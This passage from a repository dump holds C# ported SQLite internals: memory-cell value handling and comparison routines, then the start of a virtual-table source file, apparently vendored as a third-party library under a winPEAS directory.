Debug.Assert( ( pMem.flags & ( MEM_Int | MEM_Real | MEM_Null ) ) == 0 );\n      Debug.Assert( ( pMem.flags & ( MEM_Blob | MEM_Str ) ) != 0 );\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      r1 = sqlite3VdbeRealValue( pMem );\n      i = doubleToInt64( r1 );\n      r2 = (double)i;\n      if ( r1 == r2 )\n      {\n        sqlite3VdbeMemIntegerify( pMem );\n      }\n      else\n      {\n        pMem.r = r1;\n        MemSetTypeFlag( pMem, MEM_Real );\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Delete any previous value and set the value stored in pMem to NULL.\n    */\n    static void sqlite3VdbeMemSetNull( Mem pMem )\n    {\n      if ( ( pMem.flags & MEM_RowSet ) != 0 )\n      {\n        sqlite3RowSetClear( pMem.u.pRowSet );\n      }\n      MemSetTypeFlag( pMem, MEM_Null );\n      pMem.zBLOB = null;\n      pMem.z = null;\n      pMem.type = SQLITE_NULL;\n    }\n\n    /*\n    ** Delete any previous value and set the value to be a BLOB of length\n    ** n containing all zeros.\n    */\n    static void sqlite3VdbeMemSetZeroBlob( Mem pMem, int n )\n    {\n      sqlite3VdbeMemRelease( pMem );\n      pMem.flags = MEM_Blob | MEM_Zero;\n      pMem.type = SQLITE_BLOB;\n      pMem.n = 0;\n      if ( n < 0 ) n = 0;\n      pMem.u.nZero = n;\n      pMem.enc = SQLITE_UTF8;\n#if SQLITE_OMIT_INCRBLOB\n  sqlite3VdbeMemGrow(pMem, n, 0);\n  //if( pMem.z!= null ){\n   pMem.n = n;\n   pMem.z = null;//memset(pMem.z, 0, n);\n   pMem.zBLOB = new byte[n];\n   //}\n#endif\n    }\n\n    /*\n    ** Delete any previous value and set the value stored in pMem to val,\n    ** manifest type INTEGER.\n    */\n    static void sqlite3VdbeMemSetInt64( Mem pMem, i64 val )\n    {\n      sqlite3VdbeMemRelease( pMem );\n      pMem.u.i = val;\n      pMem.flags = MEM_Int;\n      pMem.type = SQLITE_INTEGER;\n    }\n\n    /*\n    ** Delete any previous value and set the value stored in pMem to val,\n    ** manifest type REAL.\n    */\n    static void sqlite3VdbeMemSetDouble( Mem pMem, double val )\n    {\n      if ( sqlite3IsNaN( val ) )\n      {\n        sqlite3VdbeMemSetNull( pMem );\n      }\n      else\n      {\n        sqlite3VdbeMemRelease( pMem );\n        pMem.r = val;\n        pMem.flags = MEM_Real;\n        pMem.type = SQLITE_FLOAT;\n      }\n    }\n\n    /*\n    ** Delete any previous value and set the value of pMem to be an\n    ** empty boolean index.\n    */\n    static void sqlite3VdbeMemSetRowSet( Mem pMem )\n    {\n      sqlite3 db = pMem.db;\n      Debug.Assert( db != null );\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      sqlite3VdbeMemRelease( pMem );\n      //pMem.zMalloc = sqlite3DbMallocRaw( db, 64 );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  pMem.flags = MEM_Null;\n      //}\n      //else\n      {\n        //Debug.Assert( pMem.zMalloc );\n        pMem.u.pRowSet = new RowSet( db, 5 );// sqlite3RowSetInit( db, pMem.zMalloc,\n        //     sqlite3DbMallocSize( db, pMem.zMalloc ) );\n        Debug.Assert( pMem.u.pRowSet != null );\n        pMem.flags = MEM_RowSet;\n      }\n    }\n\n    /*\n    ** Return true if the Mem object contains a TEXT or BLOB that is\n    ** too large - whose size exceeds p.db.aLimit[SQLITE_LIMIT_LENGTH].\n    */\n    static bool sqlite3VdbeMemTooBig( Mem p )\n    {\n      Debug.Assert( p.db != null );\n      if ( ( p.flags & ( MEM_Str | MEM_Blob ) ) != 0 )\n      {\n        int n = p.n;\n        if ( ( p.flags & MEM_Zero ) != 0 )\n        {\n          n += p.u.nZero;\n        }\n        return n > p.db.aLimit[SQLITE_LIMIT_LENGTH];\n      }\n      return false;\n    }\n\n    /*\n    ** Size of struct Mem not including the Mem.zMalloc member.\n    */\n    //#define MEMCELLSIZE (size_t)(&(((Mem *)0).zMalloc))\n\n    /*\n    ** Make an shallow copy of pFrom into pTo.  Prior contents of\n    ** pTo are freed.  The pFrom.z field is not duplicated.  If\n    ** pFrom.z is used, then pTo.z points to the same thing as pFrom.z\n    ** and flags gets srcType (either MEM_Ephem or MEM_Static).\n    */\n    static void sqlite3VdbeMemShallowCopy( Mem pTo, Mem pFrom, int srcType )\n    {\n      Debug.Assert( ( pFrom.flags & MEM_RowSet ) == 0 );\n      sqlite3VdbeMemReleaseExternal( pTo );\n      pFrom.CopyTo( pTo );//  memcpy(pTo, pFrom, MEMCELLSIZE);\n      pTo.xDel = null;\n      if ( ( pFrom.flags & MEM_Dyn ) != 0 )\n      {//|| pFrom.z==pFrom.zMalloc ){\n        pTo.flags = (u16)( pFrom.flags & ~( MEM_Dyn | MEM_Static | MEM_Ephem ) );\n        Debug.Assert( srcType == MEM_Ephem || srcType == MEM_Static );\n        pTo.flags |= (u16)srcType;\n      }\n    }\n\n    /*\n    ** Make a full copy of pFrom into pTo.  Prior contents of pTo are\n    ** freed before the copy is made.\n    */\n    static int sqlite3VdbeMemCopy( Mem pTo, Mem pFrom )\n    {\n      int rc = SQLITE_OK;\n\n      Debug.Assert( ( pFrom.flags & MEM_RowSet ) == 0 );\n      sqlite3VdbeMemReleaseExternal( pTo );\n      pFrom.CopyTo( pTo );// memcpy(pTo, pFrom, MEMCELLSIZE);\n      pTo.flags = (u16)( pTo.flags & ~MEM_Dyn );\n\n      if ( ( pTo.flags & ( MEM_Str | MEM_Blob ) ) != 0 )\n      {\n        if ( 0 == ( pFrom.flags & MEM_Static ) )\n        {\n          pTo.flags |= MEM_Ephem;\n          rc = sqlite3VdbeMemMakeWriteable( pTo );\n        }\n      }\n\n      return rc;\n    }\n\n\n\n\n    /*\n    ** Transfer the contents of pFrom to pTo. Any existing value in pTo is\n    ** freed. If pFrom contains ephemeral data, a copy is made.\n    **\n    ** pFrom contains an SQL NULL when this routine returns.\n    */\n    static void sqlite3VdbeMemMove( Mem pTo, Mem pFrom )\n    {\n      Debug.Assert( pFrom.db == null || sqlite3_mutex_held( pFrom.db.mutex ) );\n      Debug.Assert( pTo.db == null || sqlite3_mutex_held( pTo.db.mutex ) );\n      Debug.Assert( pFrom.db == null || pTo.db == null || pFrom.db == pTo.db );\n      sqlite3VdbeMemRelease( pTo );\n      pFrom.CopyTo( pTo );// memcpy(pTo, pFrom, Mem).Length;\n      pFrom.flags = MEM_Null;\n      pFrom.xDel = null;\n      pFrom.z = null;\n      pFrom.zBLOB = null;\n      //pFrom.zMalloc=null;\n    }\n\n    /*\n    ** Change the value of a Mem to be a string or a BLOB.\n    **\n    ** The memory management strategy depends on the value of the xDel\n    ** parameter. If the value passed is SQLITE_TRANSIENT, then the\n    ** string is copied into a (possibly existing) buffer managed by the\n    ** Mem structure. Otherwise, any existing buffer is freed and the\n    ** pointer copied.\n    **\n    ** If the string is too large (if it exceeds the SQLITE_LIMIT_LENGTH\n    ** size limit) then no memory allocation occurs.  If the string can be\n    ** stored without allocating memory, then it is.  If a memory allocation\n    ** is required to store the string, then value of pMem is unchanged.  In\n    ** either case, SQLITE_TOOBIG is returned.\n    */\n    static int sqlite3VdbeMemSetStr(\n    Mem pMem,           /* Memory cell to set to string value */\n    string z,           /* String pointer */\n    int n,              /* Bytes in string, or negative */\n    u8 enc,             /* Encoding of z.  0 for BLOBs */\n    dxDel xDel//)(void*)/* Destructor function */\n    )\n    {\n      int nByte = n;      /* New value for pMem->n */\n      int iLimit;         /* Maximum allowed string or blob size */\n      u16 flags = 0;      /* New value for pMem->flags */\n\n      Debug.Assert( pMem.db == null || sqlite3_mutex_held( pMem.db.mutex ) );\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n\n      /* If z is a NULL pointer, set pMem to contain an SQL NULL. */\n      if ( z == null )\n      {\n        sqlite3VdbeMemSetNull( pMem );\n        return SQLITE_OK;\n      }\n\n      if ( pMem.db != null )\n      {\n        iLimit = pMem.db.aLimit[SQLITE_LIMIT_LENGTH];\n      }\n      else\n      {\n        iLimit = SQLITE_MAX_LENGTH;\n      }\n      flags = (u16)( enc == 0 ? MEM_Blob : MEM_Str );\n      if ( nByte < 0 )\n      {\n        Debug.Assert( enc != 0 );\n        if ( enc == SQLITE_UTF8 )\n        {\n          for ( nByte = 0 ; nByte <= iLimit && nByte < z.Length && z[nByte] != 0 ; nByte++ ) { }\n        }\n        else\n        {\n          for ( nByte = 0 ; nByte <= iLimit && z[nByte] != 0 || z[nByte + 1] != 0 ; nByte += 2 ) { }\n        }\n        flags |= MEM_Term;\n      }\n\n      /* The following block sets the new values of Mem.z and Mem.xDel. It\n      ** also sets a flag in local variable \"flags\" to indicate the memory\n      ** management (one of MEM_Dyn or MEM_Static).\n      */\n      if ( xDel == SQLITE_TRANSIENT )\n      {\n        u32 nAlloc = (u32)nByte;\n        if ( ( flags & MEM_Term ) != 0 )\n        {\n          nAlloc += (u32)( enc == SQLITE_UTF8 ? 1 : 2 );\n        }\n        if ( nByte > iLimit )\n        {\n          return SQLITE_TOOBIG;\n        }\n        if ( sqlite3VdbeMemGrow( pMem, (int)nAlloc, 0 ) != 0 )\n        {\n          return SQLITE_NOMEM;\n        }\n        //if ( nAlloc < z.Length )\n        //{ pMem.z = new byte[nAlloc]; Buffer.BlockCopy( z, 0, pMem.z, 0, (int)nAlloc ); }\n        //else\n        if ( enc == 0 )\n        {\n          pMem.z = null;\n          pMem.zBLOB = new byte[n];\n          for ( int i = 0 ; i < n && i < z.Length ; i++ ) pMem.zBLOB[i] = (byte)z[i];\n        }\n        else\n        {\n          pMem.z = z;//memcpy(pMem.z, z, nAlloc);\n          pMem.zBLOB = null;\n        }\n      }\n      else if ( xDel == SQLITE_DYNAMIC )\n      {\n        sqlite3VdbeMemRelease( pMem );\n        //pMem.zMalloc = pMem.z = (char*)z;\n        if ( enc == 0 )\n        {\n          pMem.z = null;\n          pMem.zBLOB = Encoding.UTF8.GetBytes( z );\n        }\n        else\n        {\n          pMem.z = z;//memcpy(pMem.z, z, nAlloc);\n          pMem.zBLOB = null;\n        }\n        pMem.xDel = null;\n      }\n      else\n      {\n        sqlite3VdbeMemRelease( pMem );\n        if ( enc == 0 )\n        {\n          pMem.z = null;\n          pMem.zBLOB = Encoding.UTF8.GetBytes( z );\n        }\n        else\n        {\n          pMem.z = z;//memcpy(pMem.z, z, nAlloc);\n          pMem.zBLOB = null;\n        }\n        pMem.xDel = xDel;\n        flags |= (u16)( ( xDel == SQLITE_STATIC ) ? MEM_Static : MEM_Dyn );\n      }\n      pMem.n = nByte;\n      pMem.flags = flags;\n      pMem.enc = ( enc == 0 ? SQLITE_UTF8 : enc );\n      pMem.type = ( enc == 0 ? SQLITE_BLOB : SQLITE_TEXT );\n\n#if !SQLITE_OMIT_UTF16\nif( pMem.enc!=SQLITE_UTF8 && sqlite3VdbeMemHandleBom(pMem)!=0 ){\nreturn SQLITE_NOMEM;\n}\n#endif\n\n      if ( nByte > iLimit )\n      {\n        return SQLITE_TOOBIG;\n      }\n\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Compare the values contained by the two memory cells, returning\n    ** negative, zero or positive if pMem1 is less than, equal to, or greater\n    ** than pMem2. Sorting order is NULL's first, followed by numbers (integers\n    ** and reals) sorted numerically, followed by text ordered by the collating\n    ** sequence pColl and finally blob's ordered by memcmp().\n    **\n    ** Two NULL values are considered equal by this function.\n    */\n    static int sqlite3MemCompare( Mem pMem1, Mem pMem2, CollSeq pColl )\n    {\n      int rc;\n      int f1, f2;\n      int combined_flags;\n\n      /* Interchange pMem1 and pMem2 if the collating sequence specifies\n      ** DESC order.\n      */\n      f1 = pMem1.flags;\n      f2 = pMem2.flags;\n      combined_flags = f1 | f2;\n      Debug.Assert( ( combined_flags & MEM_RowSet ) == 0 );\n\n      /* If one value is NULL, it is less than the other. If both values\n      ** are NULL, return 0.\n      */\n      if ( ( combined_flags & MEM_Null ) != 0 )\n      {\n        return ( f2 & MEM_Null ) - ( f1 & MEM_Null );\n      }\n\n      /* If one value is a number and the other is not, the number is less.\n      ** If both are numbers, compare as reals if one is a real, or as integers\n      ** if both values are integers.\n      */\n      if ( ( combined_flags & ( MEM_Int | MEM_Real ) ) != 0 )\n      {\n        if ( ( f1 & ( MEM_Int | MEM_Real ) ) == 0 )\n        {\n          return 1;\n        }\n        if ( ( f2 & ( MEM_Int | MEM_Real ) ) == 0 )\n        {\n          return -1;\n        }\n        if ( ( f1 & f2 & MEM_Int ) == 0 )\n        {\n          double r1, r2;\n          if ( ( f1 & MEM_Real ) == 0 )\n          {\n            r1 = (double)pMem1.u.i;\n          }\n          else\n          {\n            r1 = pMem1.r;\n          }\n          if ( ( f2 & MEM_Real ) == 0 )\n          {\n            r2 = (double)pMem2.u.i;\n          }\n          else\n          {\n            r2 = pMem2.r;\n          }\n          if ( r1 < r2 ) return -1;\n          if ( r1 > r2 ) return 1;\n          return 0;\n        }\n        else\n        {\n          Debug.Assert( ( f1 & MEM_Int ) != 0 );\n          Debug.Assert( ( f2 & MEM_Int ) != 0 );\n          if ( pMem1.u.i < pMem2.u.i ) return -1;\n          if ( pMem1.u.i > pMem2.u.i ) return 1;\n          return 0;\n        }\n      }\n\n      /* If one value is a string and the other is a blob, the string is less.\n      ** If both are strings, compare using the collating functions.\n      */\n      if ( ( combined_flags & MEM_Str ) != 0 )\n      {\n        if ( ( f1 & MEM_Str ) == 0 )\n        {\n          return 1;\n        }\n        if ( ( f2 & MEM_Str ) == 0 )\n        {\n          return -1;\n        }\n\n        Debug.Assert( pMem1.enc == pMem2.enc );\n        Debug.Assert( pMem1.enc == SQLITE_UTF8 ||\n        pMem1.enc == SQLITE_UTF16LE || pMem1.enc == SQLITE_UTF16BE );\n\n        /* The collation sequence must be defined at this point, even if\n        ** the user deletes the collation sequence after the vdbe program is\n        ** compiled (this was not always the case).\n        */\n        Debug.Assert( pColl == null || pColl.xCmp != null );\n\n        if ( pColl != null )\n        {\n          if ( pMem1.enc == pColl.enc )\n          {\n            /* The strings are already in the correct encoding.  Call the\n            ** comparison function directly */\n            return pColl.xCmp( pColl.pUser, pMem1.n, pMem1.z, pMem2.n, pMem2.z );\n          }\n          else\n          {\n            string v1, v2;\n            int n1, n2;\n            Mem c1;\n            Mem c2;\n            c1 = new Mem();// memset( &c1, 0, sizeof( c1 ) );\n            c2 = new Mem();//memset( &c2, 0, sizeof( c2 ) );\n            sqlite3VdbeMemShallowCopy( c1, pMem1, MEM_Ephem );\n            sqlite3VdbeMemShallowCopy( c2, pMem2, MEM_Ephem );\n            v1 = sqlite3ValueText( (sqlite3_value)c1, pColl.enc );\n            n1 = v1 == null ? 0 : c1.n;\n            v2 = sqlite3ValueText( (sqlite3_value)c2, pColl.enc );\n            n2 = v2 == null ? 0 : c2.n;\n            rc = pColl.xCmp( pColl.pUser, n1, v1, n2, v2 );\n            sqlite3VdbeMemRelease( c1 );\n            sqlite3VdbeMemRelease( c2 );\n            return rc;\n          }\n        }\n        /* If a NULL pointer was passed as the collate function, fall through\n        ** to the blob case and use memcmp().  */\n      }\n\n      /* Both values must be blobs.  Compare using memcmp().  */\n      if ( ( pMem1.flags & MEM_Blob ) != 0 )\n        if ( pMem1.zBLOB != null ) rc = memcmp( pMem1.zBLOB, pMem2.zBLOB, ( pMem1.n > pMem2.n ) ? pMem2.n : pMem1.n );\n        else rc = memcmp( pMem1.z, pMem2.zBLOB, ( pMem1.n > pMem2.n ) ? pMem2.n : pMem1.n );\n      else\n        rc = memcmp( pMem1.z, pMem2.z, ( pMem1.n > pMem2.n ) ? pMem2.n : pMem1.n );\n      if ( rc == 0 )\n      {\n        rc = pMem1.n - pMem2.n;\n      }\n      return rc;\n    }\n\n    /*\n    ** Move data out of a btree key or data field and into a Mem structure.\n    ** The data or key is taken from the entry that pCur is currently pointing\n    ** to.  offset and amt determine what portion of the data or key to retrieve.\n    ** key is true to get the key or false to get data.  The result is written\n    ** into the pMem element.\n    **\n    ** The pMem structure is assumed to be uninitialized.  Any prior content\n    ** is overwritten without being freed.\n    **\n    ** If this routine fails for any reason (malloc returns NULL or unable\n    ** to read from the disk) then the pMem is left in an inconsistent state.\n    */\n    static int sqlite3VdbeMemFromBtree(\n    BtCursor pCur,    /* Cursor pointing at record to retrieve. */\n    int offset,       /* Offset from the start of data to return bytes from. */\n    int amt,          /* Number of bytes to return. */\n    bool key,         /* If true, retrieve from the btree key, not data. */\n    Mem pMem          /* OUT: Return data in this Mem structure. */\n    )\n    {\n      byte[] zData;       /* Data from the btree layer */\n      int available = 0; /* Number of bytes available on the local btree page */\n      int rc = SQLITE_OK; /* Return code */\n\n      Debug.Assert( sqlite3BtreeCursorIsValid(pCur) );\n\n\t/* Note: the calls to BtreeKeyFetch() and DataFetch() below assert()\n      ** that both the BtShared and database handle mutexes are held. */\n      Debug.Assert( ( pMem.flags & MEM_RowSet ) == 0 );\n      int outOffset = -1;\n      if ( key )\n      {\n        zData = sqlite3BtreeKeyFetch( pCur, ref available, ref outOffset );\n      }\n      else\n      {\n        zData = sqlite3BtreeDataFetch( pCur, ref available, ref outOffset );\n      }\n      Debug.Assert( zData != null );\n\n      if ( offset + amt <= available && ( pMem.flags & MEM_Dyn ) == 0 )\n      {\n        sqlite3VdbeMemRelease( pMem );\n        pMem.zBLOB = new byte[amt];\n        Buffer.BlockCopy( zData, offset, pMem.zBLOB, 0, amt );//pMem.z = &zData[offset];\n        pMem.flags = MEM_Blob | MEM_Ephem;\n      }\n      else if ( SQLITE_OK == ( rc = sqlite3VdbeMemGrow( pMem, amt + 2, 0 ) ) )\n      {\n        pMem.enc = 0;\n        pMem.type = SQLITE_BLOB;\n        pMem.z = null;\n        pMem.zBLOB = new byte[amt];\n        pMem.flags = MEM_Blob | MEM_Dyn | MEM_Term;\n        if ( key )\n        {\n          rc = sqlite3BtreeKey( pCur, (u32)offset, (u32)amt,  pMem.zBLOB );\n        }\n        else\n        {\n          rc = sqlite3BtreeData( pCur, (u32)offset, (u32)amt, pMem.zBLOB );//pMem.z =  pMem_z ;\n        }\n        //pMem.z[amt] = 0;\n        //pMem.z[amt+1] = 0;\n        if ( rc != SQLITE_OK )\n        {\n          sqlite3VdbeMemRelease( pMem );\n        }\n      }\n      pMem.n = amt;\n\n      return rc;\n    }\n\n    /* This function is only available internally, it is not part of the\n    ** external API. It works in a similar way to sqlite3_value_text(),\n    ** except the data returned is in the encoding specified by the second\n    ** parameter, which must be one of SQLITE_UTF16BE, SQLITE_UTF16LE or\n    ** SQLITE_UTF8.\n    **\n    ** (2006-02-16:)  The enc value can be or-ed with SQLITE_UTF16_ALIGNED.\n    ** If that is the case, then the result must be aligned on an even byte\n    ** boundary.\n    */\n    static string sqlite3ValueText( sqlite3_value pVal, int enc )\n    {\n      if ( pVal == null ) return null;\n\n      Debug.Assert( pVal.db == null || sqlite3_mutex_held( pVal.db.mutex ) );\n      Debug.Assert( ( enc & 3 ) == ( enc & ~SQLITE_UTF16_ALIGNED ) );\n      Debug.Assert( ( pVal.flags & MEM_RowSet ) == 0 );\n\n      if ( ( pVal.flags & MEM_Null ) != 0 )\n      {\n        return null;\n      }\n      Debug.Assert( ( MEM_Blob >> 3 ) == MEM_Str );\n      pVal.flags |= (u16)( ( pVal.flags & MEM_Blob ) >> 3 );\n      if ( ( pVal.flags & MEM_Zero ) != 0 ) sqlite3VdbeMemExpandBlob( pVal ); // expandBlob(pVal);\n      if ( ( pVal.flags & MEM_Str ) != 0 )\n      {\n        sqlite3VdbeChangeEncoding( pVal, enc & ~SQLITE_UTF16_ALIGNED );\n        if ( ( enc & SQLITE_UTF16_ALIGNED ) != 0 && 1 == ( 1 & ( pVal.z[0] ) ) )  //1==(1&SQLITE_PTR_TO_INT(pVal.z))\n        {\n          Debug.Assert( ( pVal.flags & ( MEM_Ephem | MEM_Static ) ) != 0 );\n          if ( sqlite3VdbeMemMakeWriteable( pVal ) != SQLITE_OK )\n          {\n            return null;\n          }\n        }\n        sqlite3VdbeMemNulTerminate( pVal );\n      }\n      else\n      {\n        Debug.Assert( ( pVal.flags & MEM_Blob ) == 0 );\n        sqlite3VdbeMemStringify( pVal, enc );\n        //  assert( 0==(1&SQLITE_PTR_TO_INT(pVal->z)) );\n      }\n      Debug.Assert( pVal.enc == ( enc & ~SQLITE_UTF16_ALIGNED ) || pVal.db == null\n      //|| pVal.db.mallocFailed != 0\n      );\n      if ( pVal.enc == ( enc & ~SQLITE_UTF16_ALIGNED ) )\n      {\n        return pVal.z;\n      }\n      else\n      {\n        return null;\n      }\n    }\n\n    /*\n    ** Create a new sqlite3_value object.\n    */\n    static sqlite3_value sqlite3ValueNew( sqlite3 db )\n    {\n      Mem p = new Mem();//sqlite3DbMallocZero(db, sizeof(*p));\n      if ( p != null )\n      {\n        p.flags = MEM_Null;\n        p.type = SQLITE_NULL;\n        p.db = db;\n      }\n      return p;\n    }\n\n    /*\n    ** Create a new sqlite3_value object, containing the value of pExpr.\n    **\n    ** This only works for very simple expressions that consist of one constant\n    ** token (i.e. \"5\", \"5.1\", \"'a string'\"). If the expression can\n    ** be converted directly into a value, then the value is allocated and\n    ** a pointer written to ppVal. The caller is responsible for deallocating\n    ** the value by passing it to sqlite3ValueFree() later on. If the expression\n    ** cannot be converted to a value, then ppVal is set to NULL.\n    */\n    static int sqlite3ValueFromExpr(\n    sqlite3 db,              /* The database connection */\n    Expr pExpr,              /* The expression to evaluate */\n    int enc,                   /* Encoding to use */\n    char affinity,              /* Affinity to use */\n    ref sqlite3_value ppVal     /* Write the new value here */\n    )\n    {\n      int op;\n      string zVal = \"\";\n      sqlite3_value pVal = null;\n\n      if ( pExpr == null )\n      {\n        ppVal = null;\n        return SQLITE_OK;\n      }\n      op = pExpr.op;\n\n      if ( op == TK_STRING || op == TK_FLOAT || op == TK_INTEGER )\n      {\n        pVal = sqlite3ValueNew( db );\n        if ( pVal == null ) goto no_mem;\n        if ( ExprHasProperty( pExpr, EP_IntValue ) )\n        {\n          sqlite3VdbeMemSetInt64( pVal, (i64)pExpr.u.iValue );\n        }\n        else\n        {\n          zVal = pExpr.u.zToken;// sqlite3DbStrDup( db, pExpr.u.zToken );\n          if ( zVal == null ) goto no_mem;\n          sqlite3ValueSetStr( pVal, -1, zVal, SQLITE_UTF8, SQLITE_DYNAMIC );\n        }\n        if ( ( op == TK_INTEGER || op == TK_FLOAT ) && affinity == SQLITE_AFF_NONE )\n        {\n          sqlite3ValueApplyAffinity( pVal, SQLITE_AFF_NUMERIC, SQLITE_UTF8 );\n        }\n        else\n        {\n          sqlite3ValueApplyAffinity( pVal, affinity, SQLITE_UTF8 );\n        }\n        if ( enc != SQLITE_UTF8 )\n        {\n          sqlite3VdbeChangeEncoding( pVal, enc );\n        }\n      }\n      if ( enc != SQLITE_UTF8 )\n      {\n        sqlite3VdbeChangeEncoding( pVal, enc );\n      }\n      else if ( op == TK_UMINUS )\n      {\n        if ( SQLITE_OK == sqlite3ValueFromExpr( db, pExpr.pLeft, enc, affinity, ref pVal ) )\n        {\n          pVal.u.i = -1 * pVal.u.i;\n          /* (double)-1 In case of SQLITE_OMIT_FLOATING_POINT... */\n          pVal.r = (double)-1 * pVal.r;\n        }\n      }\n#if !SQLITE_OMIT_BLOB_LITERAL\n      else if ( op == TK_BLOB )\n      {\n        int nVal;\n        Debug.Assert( pExpr.u.zToken[0] == 'x' || pExpr.u.zToken[0] == 'X' );\n        Debug.Assert( pExpr.u.zToken[1] == '\\'' );\n        pVal = sqlite3ValueNew( db );\n        if ( null == pVal ) goto no_mem;\n        zVal = pExpr.u.zToken.Substring( 2 );\n        nVal = sqlite3Strlen30( zVal ) - 1;\n        Debug.Assert( zVal[nVal] == '\\'' );\n        sqlite3VdbeMemSetStr( pVal, Encoding.UTF8.GetString( sqlite3HexToBlob( db, zVal, nVal ) ), nVal / 2,\n        0, SQLITE_DYNAMIC );\n      }\n#endif\n\n      ppVal = pVal;\n      return SQLITE_OK;\n\nno_mem:\n      //db.mallocFailed = 1;\n      //sqlite3DbFree( db, ref zVal );\n      pVal = null;// sqlite3ValueFree(pVal);\n      ppVal = null;\n      return SQLITE_NOMEM;\n    }\n\n    /*\n    ** Change the string value of an sqlite3_value object\n    */\n    static void sqlite3ValueSetStr(\n    sqlite3_value v,     /* Value to be set */\n    int n,               /* Length of string z */\n    string z,            /* Text of the new string */\n    u8 enc,              /* Encoding to use */\n    dxDel xDel//)(void*) /* Destructor for the string */\n    )\n    {\n      if ( v != null ) sqlite3VdbeMemSetStr( v, z, n, enc, xDel );\n    }\n\n    /*\n    ** Free an sqlite3_value object\n    */\n    static void sqlite3ValueFree( ref sqlite3_value v )\n    {\n      if ( v == null ) return;\n      sqlite3VdbeMemRelease( v );\n      //sqlite3DbFree( v.db, ref v );\n    }\n\n    /*\n    ** Return the number of bytes in the sqlite3_value object assuming\n    ** that it uses the encoding \"enc\"\n    */\n    static int sqlite3ValueBytes( sqlite3_value pVal, int enc )\n    {\n      Mem p = (Mem)pVal;\n      if ( ( p.flags & MEM_Blob ) != 0 || sqlite3ValueText( pVal, enc ) != null )\n      {\n        if ( ( p.flags & MEM_Zero ) != 0 )\n        {\n          return p.n + p.u.nZero;\n        }\n        else\n        {\n          return p.z == null ? p.zBLOB.Length : p.n;\n        }\n      }\n      return 0;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vtab_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2006 June 10\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used to help implement virtual tables.\n    **\n    ** $Id: vtab.c,v 1.94 2009/08/08 18:01:08 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n#if !SQLITE_OMIT_VIRTUALTABLE\n//#include \"sqliteInt.h\"\n\n/*\n** The actual function that does the work of creating a new module.\n** This function implements the sqlite3_create_module() and\n** sqlite3_create_module_v2() interfaces.\n*/\nstatic int createModule(\n  sqlite3 *db,                    /* Database in which module is registered */\n  const char *zName,              /* Name assigned to this module */\n  const sqlite3_module *pModule,  /* The definition of the module */\n  void *pAux,                     /* Context pointer for xCreate/xConnect */\n  void (*xDestroy)(void *)        /* Module destructor function */\n){\n  int rc, nName;\n  Module *pMod;\n\n  sqlite3_mutex_enter(db->mutex);\n  nName = sqlite3Strlen30(zName);\n  pMod = (Module *)sqlite3DbMallocRaw(db, sizeof(Module) + nName + 1);\n  if( pMod ){\n    Module *pDel;\n    char *zCopy = (char *)(&pMod[1]);\n    memcpy(zCopy, zName, nName+1);\n    pMod->zName = zCopy;\n    pMod->pModule = pModule;\n    pMod->pAux = pAux;\n    pMod->xDestroy = xDestroy;\n    pDel = (Module *)sqlite3HashInsert(&db->aModule, zCopy, nName, (void*)pMod);\n    if( pDel && pDel->xDestroy ){\n      pDel->xDestroy(pDel->pAux);\n    }\n    sqlite3DbFree(db, pDel);\n    if( pDel==pMod ){\n      db->mallocFailed = 1;\n    }\n    sqlite3ResetInternalSchema(db, 0);\n  }else if( xDestroy ){\n    xDestroy(pAux);\n  }\n  rc = sqlite3ApiExit(db, SQLITE_OK);\n  sqlite3_mutex_leave(db->mutex);\n  return rc;\n}\n\n\n/*\n** External API function used to create a new virtual-table module.\n*/\nint sqlite3_create_module(\n  sqlite3 *db,                    /* Database in which module is registered */\n  const char *zName,              /* Name assigned to this module */\n  const sqlite3_module *pModule,  /* The definition of the module */\n  void *pAux                      /* Context pointer for xCreate/xConnect */\n){\n  return createModule(db, zName, pModule, pAux, 0);\n}\n\n/*\n** External API function used to create a new virtual-table module.\n*/\nint sqlite3_create_module_v2(\n  sqlite3 *db,                    /* Database in which module is registered */\n  const char *zName,              /* Name assigned to this module */\n  const sqlite3_module *pModule,  /* The definition of the module */\n  void *pAux,                     /* Context pointer for xCreate/xConnect */\n  void (*xDestroy)(void *)        /* Module destructor function */\n){\n  return createModule(db, zName, pModule, pAux, xDestroy);\n}\n\n/*\n** Lock the virtual table so that it cannot be disconnected.\n** Locks nest.  Every lock should have a corresponding unlock.\n** If an unlock is omitted, resources leaks will occur.  \n**\n** If a disconnect is attempted while a virtual table is locked,\n** the disconnect is deferred until all locks have been removed.\n*/\nvoid sqlite3VtabLock(VTable *pVTab){\n  pVTab->nRef++;\n}\n\n\n/*\n** pTab is a pointer to a Table structure representing a virtual-table.\n** Return a pointer to the VTable object used by connection db to access \n** this virtual-table, if one has been created, or NULL otherwise.\n*/\nVTable *sqlite3GetVTable(sqlite3 *db, Table *pTab){\n  VTable *pVtab;\n  assert( IsVirtual(pTab) );\n  for(pVtab=pTab->pVTable; pVtab && pVtab->db!=db; pVtab=pVtab->pNext);\n  return pVtab;\n}\n\n/*\n** Decrement the ref-count on a virtual table object. When the ref-count\n** reaches zero, call the xDisconnect() method to delete the object.\n*/\nvoid sqlite3VtabUnlock(VTable *pVTab){\n  sqlite3 *db = pVTab->db;\n\n  assert( db );\n  assert( pVTab->nRef>0 );\n  assert( sqlite3SafetyCheckOk(db) );\n\n  pVTab->nRef--;\n  if( pVTab->nRef==0 ){\n    sqlite3_vtab *p = pVTab->pVtab;\n    if( p ){\n#if SQLITE_DEBUG\n      if( pVTab->db->magic==SQLITE_MAGIC_BUSY ){\n        (void)sqlite3SafetyOff(db);\n        